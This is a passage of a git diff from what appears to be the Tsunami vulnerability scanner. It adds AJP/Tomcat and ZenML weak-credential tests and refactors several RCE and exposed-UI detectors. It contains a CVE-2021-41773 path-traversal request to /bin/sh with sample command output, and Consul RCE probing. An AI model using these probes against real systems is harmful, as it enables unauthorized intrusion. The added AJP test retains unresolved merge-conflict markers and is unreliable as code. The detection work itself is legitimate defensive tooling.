.setSoftware(Software.newBuilder().setName("tomcat")))) + .build(); + + assertThat(tester.testValidCredentials(targetNetworkService, ImmutableList.of(WEAK_CRED_1))) + .containsExactly(WEAK_CRED_1); + ajpTestServer.stop(); + } + + @Test + public void detect_weakCredentialsExist_returnsAllWeakCredentials() throws Exception { + ajpTestServer.setResponseForCredential( + WEAK_CRED_AUTH_1, + Resources.toByteArray( + Resources.getResource(this.getClass(), "testdata/successfulAuthdResponse.bin"))); + ajpTestServer.setResponseForCredential( + WEAK_CRED_AUTH_2, + Resources.toByteArray( + Resources.getResource(this.getClass(), "testdata/successfulAuthdResponse.bin"))); + + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(ajpTestServer.getHost(), ajpTestServer.getPort())) + .setServiceName("ajp13") + .setServiceContext( + ServiceContext.newBuilder() + .setWebServiceContext( + WebServiceContext.newBuilder() + .setSoftware(Software.newBuilder().setName("tomcat")))) + .build(); + + assertThat( + tester.testValidCredentials( + targetNetworkService, ImmutableList.of(WEAK_CRED_1, WEAK_CRED_2))) + .containsExactly(WEAK_CRED_1, WEAK_CRED_2); + ajpTestServer.stop(); + } + + @Test + public void detect_noWeakCredentials_returnsNoCredentials() throws Exception { + ajpTestServer.setResponseForCredential("wrong", createAjpUnauthorizedResponse()); + + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(ajpTestServer.getHost(), ajpTestServer.getPort())) + .setServiceName("ajp13") + .setServiceContext( + ServiceContext.newBuilder() + .setWebServiceContext( + WebServiceContext.newBuilder() + .setSoftware(Software.newBuilder().setName("tomcat")))) + .build(); + + assertThat(tester.testValidCredentials(targetNetworkService, ImmutableList.of(WRONG_CRED_1))) + .isEmpty(); + ajpTestServer.stop(); + } + + private static byte[] createAjpUnauthorizedResponse() { + return ( + "HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: " + + "Basic realm=\"Tomcat Manager Application\"\r\n\r\n") + .getBytes(UTF_8); + } + + private static class AjpTestServer { + private ServerSocket serverSocket; + private boolean running = false; +<<<<<<< HEAD + private int port; +======= + private final int port = 8009; +>>>>>>> 2014afe1 (Finished AJP plugin) + private final String host = "localhost"; + private final Map credentialResponses = new HashMap<>(); + + public void start() throws IOException { +<<<<<<< HEAD + + this.port = ThreadLocalRandom.current().nextInt(8000, 10001); + +======= +>>>>>>> 2014afe1 (Finished AJP plugin) + serverSocket = new ServerSocket(port); + running = true; + + new Thread( + () -> { + while (running) { + try (Socket clientSocket = serverSocket.accept(); + DataInputStream is = new DataInputStream(clientSocket.getInputStream()); + DataOutputStream os = new DataOutputStream(clientSocket.getOutputStream())) { + + byte[] requestBytes = new byte[8192]; + int readBytes = is.read(requestBytes); + String receivedMessage = + new String(requestBytes, 0, readBytes, StandardCharsets.UTF_8); + + System.out.println("Received message: " + receivedMessage); + + String authHeader = extractAuthHeader(receivedMessage); + + byte[] responseBytes = + credentialResponses.getOrDefault( + authHeader, createAjpUnauthorizedResponse()); + + os.write(responseBytes); + os.flush(); + + } catch (IOException e) { +<<<<<<< HEAD +======= + System.err.println("An error occurred in AjpTestServer."); +>>>>>>> 2014afe1 (Finished AJP plugin) + e.printStackTrace(); + } + } + }) + .start(); + } + + public void stop() throws IOException { + running = false; + if (serverSocket != null && !serverSocket.isClosed()) { + serverSocket.close(); + } + } + + public String getHost() { + return host; + } + + public int getPort() { + return port; + } + + public void setResponseForCredential(String credential, byte[] responseBody) { + credentialResponses.put(credential, responseBody); + } + + private String extractAuthHeader(String receivedMessage) { + if (receivedMessage.contains(WEAK_CRED_AUTH_1)) { + return WEAK_CRED_AUTH_1; + } else if (receivedMessage.contains(WEAK_CRED_AUTH_2)) { + return WEAK_CRED_AUTH_2; + } + return "wrong"; + } + } +} \ No newline at end of file diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/test/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/zenml/ZenMlCredentialTesterTest.java b/google/detectors/credentials/generic_weak_credential_detector/src/test/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/zenml/ZenMlCredentialTesterTest.java new file mode 100644 index 000000000..9513d5c3b --- /dev/null +++ b/google/detectors/credentials/generic_weak_credential_detector/src/test/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/zenml/ZenMlCredentialTesterTest.java @@ -0,0 +1,196 @@ +/* + * Copyright 2023 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.zenml; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.verifyNoInteractions; +import static org.mockito.Mockito.when; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.tsunami.common.net.db.ConnectionProviderInterface; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.provider.TestCredential; +import com.google.tsunami.proto.NetworkService; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.sql.Connection; +import java.util.Objects; +import java.util.Optional; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.Before; +import org.junit.Rule; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; +import org.junit.Test; +import org.mockito.junit.MockitoJUnit; +import org.mockito.junit.MockitoRule; +import org.mockito.Mock; + +/** Tests for {@link ZenMlCredentialTester}. */ +@RunWith(JUnit4.class) +public class ZenMlCredentialTesterTest { + @Rule public MockitoRule rule = MockitoJUnit.rule(); + @Mock private ConnectionProviderInterface mockConnectionProvider; + @Mock private Connection mockConnection; + @Inject private ZenMlCredentialTester tester; + private MockWebServer mockWebServer; + private static final TestCredential WEAK_CRED_1 = + TestCredential.create("default", Optional.of("")); + private static final TestCredential WRONG_CRED_1 = + TestCredential.create("wrong", Optional.of("wrong")); + + // the default username and password value for an insecure zenml instance + private static final String DEFAULT_USERNAME = "default"; + private static final String DEFAULT_PASSWORD = ""; + + @Before + public void setup() { + mockWebServer = new MockWebServer(); + Guice.createInjector(new HttpClientModule.Builder().build()).injectMembers(this); + } + + @Test + public void detect_weakCredentialsExists_returnsWeakCredentials() throws Exception { + startMockWebServer(); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setServiceName("zenml") + .build(); + + assertThat(tester.testValidCredentials(targetNetworkService, ImmutableList.of(WEAK_CRED_1))) + .containsExactly(WEAK_CRED_1); + mockWebServer.shutdown(); + } + + @Test + public void detect_weakCredentialsExist_returnsFirstWeakCredentials() throws Exception { + startMockWebServer(); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setServiceName("zenml") + .build(); + + assertThat(tester.testValidCredentials(targetNetworkService, ImmutableList.of(WEAK_CRED_1))) + .containsExactly(WEAK_CRED_1); + } + + @Test + public void detect_zenmlService_canAccept() throws Exception { + startMockWebServer(); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setServiceName("zenml") + .build(); + + assertThat(tester.canAccept(targetNetworkService)).isTrue(); + } + + @Test + public void detect_weakCredentialsExistAndZenmlInForeignLanguage_returnsFirstWeakCredentials() + throws Exception { + startMockWebServer(); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setServiceName("zenml") + .build(); + + assertThat(tester.testValidCredentials(targetNetworkService, ImmutableList.of(WEAK_CRED_1))) + .containsExactly(WEAK_CRED_1); + } + + @Test + public void detect_noWeakCredentials_returnsNoCredentials() throws Exception { + startMockWebServer(); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setServiceName("zenml") + .build(); + assertThat(tester.testValidCredentials(targetNetworkService, ImmutableList.of(WRONG_CRED_1))) + .isEmpty(); + } + + @Test + public void detect_nonZenmlService_skips() throws Exception { + when(mockConnectionProvider.getConnection(any(), any(), any())).thenReturn(mockConnection); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint(forHostnameAndPort("example.com", 8080)) + .setServiceName("http") + .build(); + + assertThat(tester.testValidCredentials(targetNetworkService, ImmutableList.of(WEAK_CRED_1))) + .isEmpty(); + verifyNoInteractions(mockConnectionProvider); + } + + private void startMockWebServer() throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + final MockResponse unauthorizedResponse = + new MockResponse() + .setResponseCode(401) + .setBody( + "{\"detail\":[\"AuthorizationException\"," + + "\"Authentication error: invalid username or password\"]}"); + + @Override + public MockResponse dispatch(RecordedRequest request) { + if (request.getPath().matches("/login") && Objects.equals(request.getMethod(), "GET")) { + return new MockResponse() + .setResponseCode(200) + .setBody(" ZenML Dashboard "); + } + if (request.getPath().matches("/api/v1/login") + && Objects.equals(request.getMethod(), "POST") + && request + .getBody() + .readString(StandardCharsets.UTF_8) + .contains( + String.format( + "username=%s&password=%s", DEFAULT_USERNAME, DEFAULT_PASSWORD))) { + return new MockResponse() + .setResponseCode(200) + .setBody( + "{\"access_token\":\"An AccessToken\",\"token_type\":\"bearer\"," + + "\"expires_in\":null,\"refresh_token\":null,\"scope\":null}"); + } else { + return unauthorizedResponse; + } + } + }; + mockWebServer.setDispatcher(dispatcher); + mockWebServer.start(); + mockWebServer.url("/"); + } +} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/test/resources/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/testdata/successfulAuthdResponse.bin b/google/detectors/credentials/generic_weak_credential_detector/src/test/resources/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/testdata/successfulAuthdResponse.bin new file mode 100644 index 000000000..00688bdb9 Binary files /dev/null and b/google/detectors/credentials/generic_weak_credential_detector/src/test/resources/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/testdata/successfulAuthdResponse.bin differ diff --git a/google/detectors/exposedui/argoworkflow/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetector.java b/google/detectors/exposedui/argoworkflow/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetector.java index 3497565db..ae7c540c6 100644 --- a/google/detectors/exposedui/argoworkflow/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetector.java +++ b/google/detectors/exposedui/argoworkflow/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argoworkflow/ExposedArgoworkflowDetector.java @@ -17,11 +17,9 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.get; import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableSet; import com.google.common.flogger.GoogleLogger; import com.google.gson.JsonSyntaxException; import com.google.protobuf.util.Timestamps; @@ -72,12 +70,6 @@ public final class ExposedArgoworkflowDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); } - private static final ImmutableSet HTTP_EQUIVALENT_SERVICE_NAMES = - ImmutableSet.of( - "", - "unknown", // nmap could not determine the service name, we try to exploit anyway. - "ssl/cpudpencap"); - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -85,28 +77,13 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - // filter services which are in scope - .filter(this::isInScopeService) - // check if the services are vulnerable + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) - // Build a DetectionReport when the web service is vulnerable. .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) .build(); } - private boolean isInScopeService(NetworkService networkService) { - return NetworkServiceUtils.isWebService(networkService) - || HTTP_EQUIVALENT_SERVICE_NAMES.contains(networkService.getServiceName()); - } - - private String buildRootUri(NetworkService networkService) { - if (NetworkServiceUtils.isWebService(networkService)) { - return NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - } - return String.format("https://%s/", toUriAuthority(networkService.getNetworkEndpoint())); - } - private boolean isArgoWorkflowExposed(HttpResponse response) { boolean flag = response.toString().contains("managedNamespace"); logger.atInfo().log("Is unauthorized content exposed: %s", flag); @@ -117,7 +94,7 @@ private boolean isArgoWorkflowExposed(HttpResponse response) { private boolean isServiceVulnerable(NetworkService networkService) { // the target URL of the target is built - String rootUri = buildRootUri(networkService); + String rootUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); String targetUri = rootUri + "api/v1/info"; logger.atInfo().log("targetUri is %s", targetUri); diff --git a/google/detectors/exposedui/docker/src/main/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetector.java b/google/detectors/exposedui/docker/src/main/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetector.java index 57c7a5a56..4068191c4 100644 --- a/google/detectors/exposedui/docker/src/main/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetector.java +++ b/google/detectors/exposedui/docker/src/main/java/com/google/tsunami/plugins/detectors/exposedui/docker/DockerExposedUiDetector.java @@ -24,7 +24,7 @@ import com.google.common.collect.ImmutableList; import com.google.common.flogger.GoogleLogger; import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkEndpointUtils; +import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpResponse; import com.google.tsunami.common.time.UtcClock; @@ -89,6 +89,7 @@ public DetectionReportList detect( DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -101,10 +102,7 @@ public DetectionReportList detect( } private boolean isServiceVulnerable(NetworkService networkService) { - String targetUri = - String.format( - "http://%s/version", - NetworkEndpointUtils.toUriAuthority(networkService.getNetworkEndpoint())); + String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "version"; try { HttpResponse response = httpClient.send(get(targetUri).withEmptyHeaders().build()); if (response.status().isSuccess() && response.bodyString().isPresent()) { diff --git a/google/detectors/exposedui/kubelet_read_only_port/src/main/java/com/google/tsunami/plugins/kubereadonly/KubeReadOnlyPortDetector.java b/google/detectors/exposedui/kubelet_read_only_port/src/main/java/com/google/tsunami/plugins/kubereadonly/KubeReadOnlyPortDetector.java index 8e181d611..4c5bc85e7 100644 --- a/google/detectors/exposedui/kubelet_read_only_port/src/main/java/com/google/tsunami/plugins/kubereadonly/KubeReadOnlyPortDetector.java +++ b/google/detectors/exposedui/kubelet_read_only_port/src/main/java/com/google/tsunami/plugins/kubereadonly/KubeReadOnlyPortDetector.java @@ -17,7 +17,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import com.google.common.collect.ImmutableList; import com.google.common.flogger.GoogleLogger; @@ -149,8 +148,7 @@ public DetectionReportList detect( } private boolean isServiceVulnerable(NetworkService networkService) { - String uriAuthority = toUriAuthority(networkService.getNetworkEndpoint()); - String targetUri = String.format("http://%s%s", uriAuthority, "/pods"); + String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "pods"; HttpRequest req = HttpRequest.get(targetUri).withEmptyHeaders().build(); try { diff --git a/google/detectors/exposedui/pytorch_serve/src/main/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetector.java b/google/detectors/exposedui/pytorch_serve/src/main/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetector.java index 491cc18a3..c64fd5cdc 100644 --- a/google/detectors/exposedui/pytorch_serve/src/main/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetector.java +++ b/google/detectors/exposedui/pytorch_serve/src/main/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetector.java @@ -17,12 +17,12 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import com.google.common.annotations.VisibleForTesting; import com.google.common.collect.ImmutableList; import com.google.common.flogger.GoogleLogger; import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpRequest; import com.google.tsunami.common.net.http.HttpResponse; @@ -67,7 +67,7 @@ public final class PytorchServeExposedApiDetector implements VulnDetector { private final Clock utcClock; private final HttpClient httpClient; private final PayloadGenerator payloadGenerator; - @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "Google"; + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "GOOGLE"; @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "PYTORCH_EXPOSED_UI"; private static final Pattern URI_REGEX = Pattern.compile("curl (.*)"); @@ -126,8 +126,8 @@ private boolean isServiceVulnerable(NetworkService networkService) { String targetUri = String.format( - "http://%s/models?url=http://%s/%s", - toUriAuthority(networkService.getNetworkEndpoint()), + "%smodels?url=http://%s/%s", + NetworkServiceUtils.buildWebApplicationRootUrl(networkService), m.group(1), Long.toHexString(Double.doubleToLongBits(Math.random()))); logger.atInfo().log("PytorchServeApiExposedui targetUri: %s", targetUri); diff --git a/google/detectors/rce/confluence/cve202226134/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetector.java b/google/detectors/rce/confluence/cve202226134/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetector.java index 7c66c6b9d..087af74d8 100644 --- a/google/detectors/rce/confluence/cve202226134/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetector.java +++ b/google/detectors/rce/confluence/cve202226134/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetector.java @@ -17,11 +17,9 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import com.google.common.annotations.VisibleForTesting; import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableSet; import com.google.common.flogger.GoogleLogger; import com.google.common.util.concurrent.Uninterruptibles; import com.google.protobuf.util.Timestamps; @@ -63,12 +61,7 @@ bootstrapModule = ConfluenceOgnlInjectionRceDetectorBootstrapModule.class) public final class ConfluenceOgnlInjectionRceDetector implements VulnDetector { private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private static final ImmutableSet HTTP_EQUIVALENT_SERVICE_NAMES = - ImmutableSet.of( - "", - "unknown", // nmap could not determine the service name, we try to exploit anyway. - "opsmessaging"); // nmap returns opsmessaging service name for port 8090. - @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "Google"; + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "GOOGLE"; @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE_2022_26134"; @VisibleForTesting @@ -111,27 +104,15 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(this::isInScopeService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) .build(); } - private boolean isInScopeService(NetworkService networkService) { - return NetworkServiceUtils.isWebService(networkService) - || HTTP_EQUIVALENT_SERVICE_NAMES.contains(networkService.getServiceName()); - } - - private String buildRootUri(NetworkService networkService) { - if (NetworkServiceUtils.isWebService(networkService)) { - return NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - } - return String.format("http://%s/", toUriAuthority(networkService.getNetworkEndpoint())); - } - private boolean isServiceVulnerable(NetworkService networkService) { - String rootUri = buildRootUri(networkService); + String rootUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); return (payloadGenerator.isCallbackServerEnabled() && isVulnerableWithCallback(rootUri, networkService)) diff --git a/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java b/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java index 83b13df75..b5841119c 100644 --- a/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java +++ b/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java @@ -18,7 +18,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static java.nio.charset.StandardCharsets.UTF_8; import com.google.common.annotations.VisibleForTesting; @@ -27,6 +26,7 @@ import com.google.common.io.Resources; import com.google.protobuf.ByteString; import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpHeaders; import com.google.tsunami.common.net.http.HttpRequest; @@ -66,7 +66,7 @@ // nmap returns fmtp for the Consul admin endpoint @ForServiceName({"fmtp"}) public final class ConsulEnableScriptChecksCommandExecutionDetector implements VulnDetector { - @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "Google"; + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "GOOGLE"; @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CONSUL_ENABLE_SCRIPT_CHECKS_COMMAND_EXECUTION"; @@ -103,7 +103,7 @@ public final class ConsulEnableScriptChecksCommandExecutionDetector implements V private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); private static final String RCE_TEST_SERVICE_NAME = "TSUNAMI_RCE_TEST"; - private static final String RCE_VULNERABILITY_PATH = "/v1/agent/service/register"; + private static final String RCE_VULNERABILITY_PATH = "v1/agent/service/register"; private final Clock utcClock; private final HttpClient httpClient; @@ -142,10 +142,8 @@ public DetectionReportList detect( private boolean isServiceVulnerable(NetworkService networkService) { boolean hasRegiseredService = false; - String rootUri = toUriAuthority(networkService.getNetworkEndpoint()); - - String targetUri = - String.format("http://%s%s?replace-existing-checks=true", rootUri, RCE_VULNERABILITY_PATH); + String rootUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + String targetUri = rootUri + RCE_VULNERABILITY_PATH + "?replace-existing-checks=true"; PayloadGeneratorConfig config = PayloadGeneratorConfig.newBuilder() @@ -196,9 +194,7 @@ private boolean isServiceVulnerable(NetworkService networkService) { } else { logger.atInfo().log("TCS not enabled, so trying alternative method."); - String verificationUri = - String.format("http://%s/v1/health/service/%s", rootUri, RCE_TEST_SERVICE_NAME); - + String verificationUri = rootUri + "v1/health/service/" + RCE_TEST_SERVICE_NAME; HttpRequest req = HttpRequest.get(verificationUri).withEmptyHeaders().build(); try { @@ -224,9 +220,7 @@ private boolean isServiceVulnerable(NetworkService networkService) { private void cleanUp(String rootUri, NetworkService networkService) { logger.atInfo().log("Cleaning up registered service"); - String unregisterUri = - String.format("http://%s/v1/agent/service/deregister/%s", rootUri, RCE_TEST_SERVICE_NAME); - + String unregisterUri = rootUri + "v1/agent/service/deregister/" + RCE_TEST_SERVICE_NAME; HttpRequest req = HttpRequest.put(unregisterUri).withEmptyHeaders().build(); try { diff --git a/google/detectors/rce/cve202141773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayload.java b/google/detectors/rce/cve202141773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayload.java index 1e7327b3d..75862cb82 100644 --- a/google/detectors/rce/cve202141773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayload.java +++ b/google/detectors/rce/cve202141773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayload.java @@ -17,12 +17,12 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import com.google.common.collect.ImmutableList; import com.google.common.flogger.GoogleLogger; import com.google.protobuf.ByteString; import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpRequest; import com.google.tsunami.common.net.http.HttpResponse; @@ -109,10 +109,8 @@ private boolean isServiceVulnerable(NetworkService networkService) { // "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh" // --> uid=33(www-data) gid=33(www-data) groups=33(www-data) String targetUri = - String.format( - "http://%s%s", - toUriAuthority(networkService.getNetworkEndpoint()), - "/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh"); + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + "cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh"; String postData = String.format( diff --git a/google/detectors/rce/cve20246387/README.md b/google/detectors/rce/cve20246387/README.md new file mode 100644 index 000000000..ea86013e6 --- /dev/null +++ b/google/detectors/rce/cve20246387/README.md @@ -0,0 +1,14 @@ +# OpenSSH CVE-2024-6387 RCE Detector + +This detector checks for [CVE-2024-6387](https://nvd.nist.gov/vuln/detail/CVE-2024-6387), +vulnerability in OpenSSH. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/rce/cve20246387/build.gradle b/google/detectors/rce/cve20246387/build.gradle new file mode 100644 index 000000000..77eb52882 --- /dev/null +++ b/google/detectors/rce/cve20246387/build.gradle @@ -0,0 +1,65 @@ +plugins { + id 'java-library' +} + +description = 'Tsunami OpenSSH CVE-2024-6387 RCE detector.' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} diff --git a/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..2c3521197 Binary files /dev/null and b/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..d04736436 --- /dev/null +++ b/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/google/detectors/rce/cve20246387/gradlew b/google/detectors/rce/cve20246387/gradlew new file mode 